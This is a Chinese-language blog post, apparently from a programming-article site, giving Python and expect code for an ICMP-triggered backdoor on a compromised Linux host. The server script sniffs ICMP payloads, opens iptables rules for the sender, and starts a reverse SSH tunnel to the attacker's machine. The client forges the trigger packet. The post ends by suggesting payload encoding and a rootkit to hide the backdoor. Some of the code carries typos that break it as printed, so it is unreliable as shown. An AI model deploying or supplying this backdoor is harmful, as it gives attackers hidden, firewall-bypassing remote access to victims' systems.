用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python+matplotlib实现礼盒柱状图实例代码
Jan 16 Python
windows下安装Python的XlsxWriter模块方法
May 03 Python
python将一组数分成每3个一组的实例
Nov 14 Python
用python做游戏的细节详解
Jun 25 Python
linux下安装python3和对应的pip环境教程详解
Jul 01 Python
详解numpy矩阵的创建与数据类型
Oct 18 Python
python Popen 获取输出,等待运行完成示例
Dec 30 Python
jupyter notebook的安装与使用详解
May 18 Python
查看keras的默认backend实现方式
Jun 19 Python
python dict如何定义
Sep 02 Python
pytorch中的numel函数用法说明
May 13 Python
http通过StreamingHttpResponse完成连续的数据传输长链接方式
Feb 12 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
解析PHP获取当前网址及域名的实现代码
2013/06/23 PHP
codeigniter教程之多文件上传使用示例
2014/02/11 PHP
PHP中UNIX时间戳和日期间的转换与计算实例
2014/11/19 PHP
PHP常用算法和数据结构示例(必看篇)
2017/03/15 PHP
Yii 2中的load()和save()示例详解
2017/08/03 PHP
[原创]php token使用与验证示例【测试可用】
2017/08/30 PHP
PHP实现广度优先搜索算法(BFS,Broad First Search)详解
2017/09/16 PHP
jQuery基本过滤选择器使用介绍
2013/04/18 Javascript
js导出txt示例代码
2014/01/14 Javascript
javascript中定义私有方法说明(private method)
2014/01/27 Javascript
js获取当前地址 JS获取当前URL的示例代码
2014/02/26 Javascript
Javascript遍历Html Table示例(包括内容和属性值)
2014/07/08 Javascript
使用jQuery制作遮罩层弹出效果的极简实例分享
2016/05/12 Javascript
前端面试题及答案整理(二)
2016/08/26 Javascript
在Docker快速部署Node.js应用的详细步骤
2016/09/02 Javascript
jQuery插件easyUI实现通过JS显示Dialog的方法
2016/09/16 Javascript
浅谈javascript:两种注释,声明变量,定义函数
2016/10/05 Javascript
如何测量vue应用运行时的性能
2019/06/21 Javascript
Vue页面跳转传递参数及接收方式
2020/09/09 Javascript
iview实现动态表单和自定义验证时间段重叠
2021/01/10 Javascript
[01:13:51]TNC vs Serenity 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
Python中字典映射类型的学习教程
2015/08/20 Python
详解python中的 is 操作符
2017/12/26 Python
python 列表,数组,矩阵两两转换tolist()的实例
2018/04/04 Python
解决Python对齐文本字符串问题
2019/08/28 Python
python3 常见解密加密算法实例分析【base64、MD5等】
2019/12/19 Python
pytorch中获取模型input/output shape实例
2019/12/30 Python
简单了解python列表和元组的区别
2020/05/14 Python
什么是接口(Interface)?
2013/02/01 面试题
中专毕业生自荐信范文
2013/11/28 职场文书
给老师的道歉信
2014/01/11 职场文书
军训学生自我鉴定
2014/02/12 职场文书
教师应聘自荐信范文
2014/03/14 职场文书
激情洋溢的毕业生就业求职信
2014/03/15 职场文书
浅谈自定义校验注解ConstraintValidator
2021/06/30 Java/Android
vue中使用mockjs配置和使用方式
2022/04/06 Vue.js